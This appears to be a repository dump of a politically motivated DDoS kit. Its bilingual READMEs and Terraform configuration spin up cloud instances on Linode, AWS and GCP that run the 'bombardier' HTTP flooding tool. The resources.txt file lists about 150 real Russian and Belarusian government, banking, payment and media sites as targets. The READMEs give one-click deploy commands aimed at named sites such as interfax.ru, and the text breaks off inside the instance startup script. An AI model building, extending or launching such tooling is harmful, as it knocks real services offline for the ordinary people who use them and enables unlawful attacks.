[EN](#-linode-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 Linode Автоматизація 6 | 7 | Скрипт для створення і налаштування інстансів бомбардувальників на Linode в один клік. 8 | 9 | ### Як використовувати 10 | 11 | - Для початку треба встановити і налаштувати `linode-cli`: 12 | https://www.linode.com/docs/guides/linode-cli/ 13 | 14 | - Виконати налаштування з розділу - Initial Configuration of the Linode CLI (https://www.linode.com/docs/guides/linode-cli/) 15 | 16 | - Створи файл з ім'ям `env` та запиши в нього стійкий пароль. 17 | 18 | - Після цього запустити команду ініціалізації: 19 | 20 | ```shell 21 | ./init.sh 10 22 | ``` 23 | 24 | де `10` це число linodes які будуть створені. Ліміт в аккаунті за замовчуванням - 10. 25 | 26 | Скрипт запускає інстанс, на якому запускається докер імедж через команду screen для ручного моніторингу скриптів. 27 | 28 | Більше про screen: 29 | https://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ 30 | 31 | Щоб видалити створені інстанси: 32 | 33 | ```shell 34 | ./clear.sh 35 | ``` 36 | 37 | ### Як це працює 38 | 39 | Скрипт ініціалізації створює інстансу у випадковому активному Asia-Pacific регіоні і налаштовує на ній все для бомбардування. Інстанс запускається з паролем, який ми передаємо через env файл, також використовується найдешевший тип інстансів за 5 баксів на місяць. 40 | 41 | ### Доповнюємо разом 42 | 43 | Пишіть issues, створюйте pull requests. 44 | 45 | --- 46 | 47 | # 🇺🇸 Linode Automation 48 | 49 | Script for creating and setting up linode instances with bombardier. 50 | 51 | ### How to use 52 | 53 | At first install and setup `linode-cli` on your machine: 54 | https://www.linode.com/docs/guides/linode-cli/ 55 | 56 | Make settings from the section - https://www.linode.com/docs/guides/linode-cli/ (https://www.linode.com/docs/guides/linode-cli/) 57 | 58 | Create a file named `env` and write a strong password to it. 59 | 60 | After that run initialization script: 61 | 62 | ```shell 63 | ./init.sh 10 64 | ``` 65 | 66 | where `10` is a number of linodes to be created. 67 | 68 | The script launches an instance that runs the docker image via the screen command to manually monitor the scripts. 69 | 70 | More about screen: 71 | https://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ 72 | 73 | To remove created instances run: 74 | 75 | ```shell 76 | ./clear.sh 77 | ``` 78 | 79 | ### How it works 80 | 81 | Script creates linodes in random active Asia-Pacific region and setup everything for bombardier. 82 | 83 | Instance is running with existing password from env file, also cheapest linode is used (5 usd month). 84 | 85 | ### Contributing 86 | 87 | Create issues, create pull requests. 88 | -------------------------------------------------------------------------------- /automation/aws-terraform/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-aws-terraform-автоматизація) | [EN](#-aws-terraform-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 AWS Terraform Автоматизація 6 | 7 | Скрипт для створення і налаштування інстансів бомбардувальників у AWS один клік. 8 | 9 | По завершенню виконання - docker container із бомбардиром вже запущено! Не треба лізти та вмикати додатково! 10 | 11 | Якщо хочете переконатись що все ок - то є можливість залогінитись. 12 | 13 | ### Як використовувати 14 | 15 | - Встановити terraform: https://learn.hashicorp.com/tutorials/terraform/install-cli 16 | 17 | 0. `cd automation/aws-terraform` 18 | 1. Почитай `variables.tf` 19 | 2. export AWS_ACCESS_KEY & export AWS_SECRET_KEY 20 | 3. Го `terraform init` 21 | 4. Го `terraform plan` и глянь 22 | 5. Го `terraform apply` и вперед 23 | 6. ??? 24 | 25 | - Крутимо налаштування в terraform скільки хочемо контейнерів (на скільки гаманця хватить). 26 | 27 | ### Якщо треба на інстанс 28 | 29 | Додай публічний ключ до variables. 30 | 31 | ### Якщо треба змінити кількість інстансів 32 | 33 | Дивись instance_count у variables. Цей код працю цілком у free-tier. Але якщо збільшити кількість інстансів більш ніж 1 - то вже за бабло. 34 | 35 | ### Обмеження 36 | 37 | **Увага!** Зібрано на скору руч паяльником типу "кип'ятильник". Автор не несе відповідальності. 38 | 39 | Не забудьте видалити утилізовані інстанси `terraform destroy`. 40 | 41 | ### Доповнюємо разом 42 | 43 | Пишіть issues, створюйте pull requests. 44 | 45 | --- 46 | 47 | # 🇺🇸 AWS Terraform Automation 48 | 49 | Script for creating and setting up bombardier in Aws in one click. 50 | 51 | After script is finished, docket container with bombardier is already running! You don't need to enable it manually. 52 | 53 | If you want to check if it's running - login to container. 54 | 55 | ### How to use 56 | 57 | - Install terraform: https://learn.hashicorp.com/tutorials/terraform/install-cli 58 | 59 | 0. `cd automation/aws-terraform` 60 | 1. Read `variables.tf` 61 | 2. export AWS_ACCESS_KEY & export AWS_SECRET_KEY 62 | 3. Run `terraform init` 63 | 4. Run `terraform plan` 64 | 5. Run `terraform apply` 65 | 6. ??? 66 | 67 | You can change terraform settings to increase number of container instances if you wallet can allow it. 68 | 69 | ### If you want to login into instance 70 | 71 | Add public key to `variables`. 72 | 73 | ### If you want to change number of instances 74 | 75 | Check `instance_count` in `variables.tf`, current code works in free-tier, but if you increase number of instances it will cost money. 76 | 77 | ### Limitations 78 | 79 | **Warning!** This is ad-hoc solution. Author does'nt bear any responsibility. 80 | 81 | Don't forget to remove used instances with `terraform destroy`. 82 | 83 | ### Contributing 84 | 85 | Create issues, create pull requests. 86 | -------------------------------------------------------------------------------- /automation/gcp-gcloud/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-google-cloud-platform-gcp-vm-автоматизація) | [EN](#-google-cloud-platform-gcp-vm-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 Google Cloud Platform (GCP) VM Автоматизація 6 | 7 | Скрипти щоб розгорнути `bombardier` Докер образ у GCP. 8 | 9 | Ви можете контролювати кількість екземплярів та обирати чи атакувати усі цілі зы вбудованого `resources.txt` файлу, або надати спеціальну URL адресу як ціль. 10 | 11 | ## Як використовувати 12 | 13 | Передумови: 14 | 15 | - GCP аккаунт та проект, що може створювати VM (обчислювальні екземпляри), [розпочати trial](https://cloud.google.com/free). 16 | - `gcloud` додаток (дивись [як встановити](https://cloud.google.com/sdk/docs/install)) 17 | - автентифікувати `gcloud` (запустити, `gcloud init`) 18 | 19 | Щоб розгорнути образ: 20 | 21 | - Розгорнути один екземпляр: `./automation/gcp-gcloud/deploy.sh` 22 | - Розгорнути `n = 3` екземплярів: `./automation/gcp-gcloud/deploy.sh -n 3` 23 | - Розгорнути один екземпляр щоб атакувати interfax: `./automation/gcp-gcloud/deploy.sh -t https://interfax.ru` 24 | - Розгорнути `n = 5` екземплярів щоб атакувати interfax: `./automation/gcp-gcloud/deploy.sh -n 5 -t https://interfax.ru` 25 | 26 | Загалом опція `-n COUNT` контролює кількість екземплярів (за замовчуванням 1), опція `-t TARGET` (якщо вказана), змушує `bombardier` обирати за ціль саме той url (будь ласка, використовуйте повний url, із `http://` чи `https://`). 27 | 28 | Щоб видалити ВМ (VMs): 29 | 30 | - `./automation/gcp-gcloud/cleanup.sh` 31 | 32 | Це прибере тільки ті ВМ, що були створені цим скриптом. 33 | 34 | ## Як це працює 35 | 36 | GCP має опцію створювати ВМ спеціально для єдиного Докер контейнера. 37 | Ми робимо це однією командою і, якщо потрібно, вказуємо опції контейнера. 38 | 39 | Ми обираємо найменшу і найдешевшу `f1-micro` ВМ у `asia-northeast3-a` (Сеул) регіон найближчий до цілі. 40 | 41 | Перед запуском перевіряйте скрипти самостійно (не запускайте незнайомі). 42 | 43 | --- 44 | 45 | # 🇺🇸 Google Cloud Platform (GCP) VM Automation 46 | 47 | Scripts to deploy `bombardier` Docker image to GCP. 48 | 49 | You can control the number of instances and you can choose whether to attack all targets from the embedded `resources.txt` file, or supply a custom URL to target. 50 | 51 | ## How to use 52 | 53 | Prerequisites: 54 | 55 | - GCP account and a project capable of creating VMs (computing instances), [start trial](https://cloud.google.com/free). 56 | - `gcloud` utility (see [how to install](https://cloud.google.com/sdk/docs/install)) 57 | - authenticate `gcloud` (run, `gcloud init`) 58 | 59 | To deploy the image: 60 | 61 | - Deploy one instance: `./automation/gcp-gcloud/deploy.sh` 62 | - Deploy `n = 3` instances: `./automation/gcp-gcloud/deploy.sh -n 3` 63 | - Deploy one instance to target interfax: `./automation/gcp-gcloud/deploy.sh -t https://interfax.ru` 64 | - Deploy `n = 5` instances to target interfax: `./automation/gcp-gcloud/deploy.sh -n 5 -t https://interfax.ru` 65 | 66 | In general, `-n COUNT` option controls the number of instances (default 1), and `-t TARGET` option, if supplied, will make the `bombardier` target that one url only (please, use full url, with `http://` or `https://`). 67 | 68 | To clean up the VMs: 69 | 70 | - `./automation/gcp-gcloud/cleanup.sh` 71 | 72 | This will only remove the VMs created by this script. 73 | 74 | ## How it works 75 | 76 | GCP has an option to create a VM specifically for a single Docker container. 77 | 78 | We do so with one command and we supply container options if needed. 79 | 80 | We choose the smallest, cheapest `f1-micro` VM in `asia-northeast3-a` (Seoul) region (close to target). 81 | 82 | Examine the scripts for yourself. 83 | -------------------------------------------------------------------------------- /resources.txt: -------------------------------------------------------------------------------- 1 | https://www.gosuslugi.ru 2 | https://gazeta.ru 3 | https://www.rt.com 4 | https://www.rosbank.ru 5 | https://robokassa.com 6 | https://robokassa.kz 7 | https://osago.sberbank.ru 8 | https://kino.1tv.ru 9 | https://sberbank.ru 10 | https://www.tinkoff.ru 11 | https://www.nornickel.com 12 | https://www.sibur.ru 13 | https://www.metalloinvest.com 14 | https://www.avito.ru 15 | https://www.tmk-group.ru 16 | https://er.ru 17 | https://shop-rt.com 18 | https://pikabu.ru 19 | https://yaplakal.com 20 | https://sputnik.by 21 | https://pgk.ru 22 | https://www.eastmining.ru 23 | https://www.tvr.by 24 | https://www.belnovosti.by 25 | https://iecp.ru 26 | https://cleanbtc.ru 27 | https://mine.exchange 28 | https://platov.co 29 | https://www.cit-ufa.ru 30 | https://ww-pay.net 31 | https://betatransfer.org 32 | https://superchange.net 33 | https://ramon.money 34 | https://coinpaymaster.com 35 | https://bitokk.biz 36 | https://cashbank.pro 37 | https://multichange.net 38 | https://abcobmen.com 39 | https://royal.cash 40 | https://baksman.org 41 | http://shpuntkurgan.ru 42 | https://rusvesna.su 43 | https://oper.ru 44 | https://www.tektorg.ru 45 | https://www.nspk.ru 46 | https://epp.genproc.gov.ru 47 | https://ach.gov.ru 48 | https://www.scrf.gov.ru 49 | https://mil.ru 50 | https://ria.ru 51 | https://www.kommersant.ru 52 | https://rbc.ru 53 | https://kp.ru 54 | https://www.rt.com 55 | https://kremlin.ru 56 | https://lenta.ru 57 | https://www.vesti.ru 58 | https://smotrim.ru 59 | https://tass.ru 60 | https://tvzvezda.ru 61 | https://vsoloviev.ru 62 | https://www.1tv.ru 63 | https://en.kremlin.ru 64 | https://mk.ru 65 | https://online.sberbank.ru 66 | https://securepayments.sberbank.ru 67 | https://sbi.sberbank.ru 68 | https://sf.sberbank.ru 69 | https://idp.sberbank.ru 70 | https://data.sberbank.ru 71 | https://post.sberbank.ru 72 | https://cert.sberbank.ru 73 | https://zakupki.gov.ru 74 | https://www.cbr.ru 75 | https://rosguard.gov.ru 76 | https://www.gazprom.ru 77 | https://government.ru 78 | https://olympics.1tv.ru 79 | https://static.1tv.ru 80 | https://static3.1tv.ru 81 | https://sproxy.1tv.ru 82 | https://dp.1tv.ru 83 | https://veterani.1tv.ru 84 | https://sfo.1tv.ru 85 | https://www.gov.ru 86 | https://duma.gov.ru 87 | https://minjust.gov.ru 88 | https://mvd.ru 89 | https://vsrf.ru 90 | https://gazprombank.ch 91 | https://gazprombank.ru 92 | https://gazprombank.lu 93 | https://www.vtb.com 94 | https://lukoil.ru 95 | https://magnit.ru 96 | https://www.surgutneftegas.ru 97 | https://www.tatneft.ru 98 | https://nlmk.com 99 | https://www.severstal.com 100 | https://nangs.org 101 | https://www.eurosib.ru 102 | https://omk.ru 103 | https://www.sberbank.ru 104 | https://www.vtb.ru 105 | https://www.gazprombank.ru 106 | https://gov.ru 107 | https://riafan.ru 108 | https://bezformata.com 109 | https://belta.by 110 | https://www.sb.by 111 | https://belmarket.by 112 | https://www.belarus.by 113 | https://belarus24.by 114 | https://ont.by 115 | https://www.024.by 116 | https://mogilevnews.by 117 | https://www.mil.by 118 | https://www.slonves.by 119 | https://www.ctv.by 120 | https://radiobelarus.by 121 | https://radiusfm.by 122 | https://alfaradio.by 123 | https://radiomir.by 124 | https://radiostalica.by 125 | https://radiobrestfm.by 126 | https://www.tvrmogilev.by 127 | https://minsknews.by 128 | https://zarya.by 129 | https://grodnonews.by 130 | https://api.sberbank.ru 131 | https://md.mos.ru 132 | https://dsszrc.ru 133 | https://www.moex.com 134 | https://diesel.elcat.kg/ 135 | https://www.nbkr.kg/ 136 | http://www.stv-it.ru/ 137 | https://www.kt-69.ru/ 138 | https://epnow.ru/ 139 | https://changer.club/ 140 | https://flashobmen.com/ 141 | https://kupibit.me/ 142 | https://fsb.ru 143 | https://rg.ru/ 144 | https://putin-team.com 145 | https://my.bank-hlynov.ru 146 | https://link.centrinvest.ru 147 | https://chbrr.crimea.com 148 | https://enter.unicredit.ru 149 | 150 | -------------------------------------------------------------------------------- /automation/aws-terraform/main.tf: -------------------------------------------------------------------------------- 1 | ################################################################################## 2 | # ASIAN REGION GENERATOR 3 | ################################################################################## 4 | 5 | resource "random_shuffle" "az" { 6 | input = [ 7 | "ap-east-1", # Asia Pacific (Hong Kong) 8 | "ap-southeast-3", # Asia Pacific (Jakarta) 9 | "ap-south-1", # Asia Pacific (Mumbai) 10 | "ap-northeast-3", # Asia Pacific (Osaka) 11 | "ap-northeast-2", # Asia Pacific (Seoul) 12 | "ap-southeast-1", # Asia Pacific (Singapore) 13 | "ap-northeast-1", # Asia Pacific (Tokyo) 14 | "me-south-1" # Middle East (Bahrain) 15 | ] 16 | result_count = 1 17 | } 18 | 19 | ################################################################################## 20 | # PROVIDERS 21 | ################################################################################## 22 | 23 | locals { 24 | common_tags = { 25 | Name = "STOP RUSSIA" 26 | } 27 | } 28 | 29 | provider "aws" { 30 | # region = var.aws_region # region from vars 31 | region = random_shuffle.az.result[0] # random asian region 32 | } 33 | 34 | ################################################################################## 35 | # DATA 36 | ################################################################################## 37 | 38 | data "aws_ssm_parameter" "ami" { 39 | name = "/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2" 40 | } 41 | 42 | ################################################################################## 43 | # RESOURCES 44 | ################################################################################## 45 | 46 | # NETWORKING # 47 | resource "aws_vpc" "vpc" { 48 | cidr_block = var.vpc_cidr_block 49 | enable_dns_hostnames = var.enable_dns_hostnames 50 | 51 | tags = local.common_tags 52 | } 53 | 54 | resource "aws_internet_gateway" "igw" { 55 | vpc_id = aws_vpc.vpc.id 56 | 57 | tags = local.common_tags 58 | } 59 | 60 | resource "aws_subnet" "subnet1" { 61 | cidr_block = var.vpc_subnet1_cidr_block 62 | vpc_id = aws_vpc.vpc.id 63 | map_public_ip_on_launch = var.map_public_ip_on_launch 64 | 65 | tags = local.common_tags 66 | } 67 | 68 | # ROUTING # 69 | resource "aws_route_table" "rtb" { 70 | vpc_id = aws_vpc.vpc.id 71 | 72 | route { 73 | cidr_block = "0.0.0.0/0" 74 | gateway_id = aws_internet_gateway.igw.id 75 | } 76 | 77 | tags = local.common_tags 78 | } 79 | 80 | resource "aws_route_table_association" "rta-subnet1" { 81 | subnet_id = aws_subnet.subnet1.id 82 | route_table_id = aws_route_table.rtb.id 83 | } 84 | 85 | # SECURITY GROUPS # 86 | # Nginx security group 87 | resource "aws_security_group" "instance-sg" { 88 | name = "instance_sg" 89 | vpc_id = aws_vpc.vpc.id 90 | 91 | # HTTP access from anywhere 92 | ingress { 93 | from_port = 22 94 | to_port = 22 95 | protocol = "tcp" 96 | cidr_blocks = ["0.0.0.0/0"] 97 | } 98 | 99 | # outbound internet access 100 | egress { 101 | from_port = 0 102 | to_port = 0 103 | protocol = "-1" 104 | cidr_blocks = ["0.0.0.0/0"] 105 | } 106 | 107 | tags = local.common_tags 108 | } 109 | 110 | resource "aws_key_pair" "login" { 111 | key_name = "login-key" 112 | public_key = var.public_key 113 | } 114 | 115 | # INSTANCES # 116 | resource "aws_instance" "instance" { 117 | count = var.instance_count 118 | ami = nonsensitive(data.aws_ssm_parameter.ami.value) 119 | instance_type = var.instance_type 120 | subnet_id = aws_subnet.subnet1.id 121 | vpc_security_group_ids = [aws_security_group.instance-sg.id] 122 | 123 | key_name = aws_key_pair.login.key_name 124 | 125 | user_data = <